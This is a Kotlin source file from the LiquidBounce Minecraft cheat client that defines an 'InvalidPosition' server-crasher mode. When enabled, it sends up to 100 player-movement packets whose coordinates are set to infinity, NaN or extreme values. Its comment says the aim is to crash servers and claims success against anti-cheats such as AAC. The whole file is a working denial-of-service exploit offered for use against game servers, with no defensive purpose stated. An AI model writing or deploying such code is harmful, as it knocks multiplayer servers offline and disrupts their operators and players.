/*
 * This file is part of LiquidBounce (https://github.com/CCBlueX/LiquidBounce)
 *
 * Copyright (c) 2015 - 2026 CCBlueX
 *
 * LiquidBounce is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * LiquidBounce is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with LiquidBounce. If not, see <https://www.gnu.org/licenses/>.
 */
package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import net.ccbluex.liquidbounce.config.types.group.Mode
import net.ccbluex.liquidbounce.config.types.group.ModeValueGroup
import net.ccbluex.liquidbounce.config.types.list.Tagged
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher.exploitChoices
import net.minecraft.network.protocol.game.ServerboundMovePlayerPacket

/**
 * Attempts to crash the server by sending invalid position packets.
 *
 * This exploit was known to work on anti-cheats such as AAC with e.g. NegativeInfinity. So,
 * this might come in handy, and you might be able to crash some servers with this.
 */
object InvalidPositionExploit : Mode("InvalidPosition") {

    override val parent: ModeValueGroup<Mode>
        get() = exploitChoices

    enum class PositionMode(override val tag: String) : Tagged {

        NEGATIVE_INFINITY("NegativeInfinity"),
        POSITIVE_INFINITY("PositiveInfinity"),
        NAN("NaN"),
        MAX_VALUE("MaxValue"),
        MIN_VALUE("MinValue");

        fun getNumber() = when (this) {
            NEGATIVE_INFINITY -> Double.NEGATIVE_INFINITY
            POSITIVE_INFINITY -> Double.POSITIVE_INFINITY
            NAN -> Double.NaN
            MAX_VALUE -> Double.MAX_VALUE
            MIN_VALUE -> Double.MIN_VALUE
        }

    }

    private var positionMode by enumChoice("Mode", PositionMode.NEGATIVE_INFINITY)
    private var times by int("Times", 1, 1..100)

    override fun enable() {
        repeat(times) {
            val number = positionMode.getNumber()
            network.send(ServerboundMovePlayerPacket.Pos(number, number, number, true, false))
        }

        ModuleServerCrasher.enabled = false
    }

}
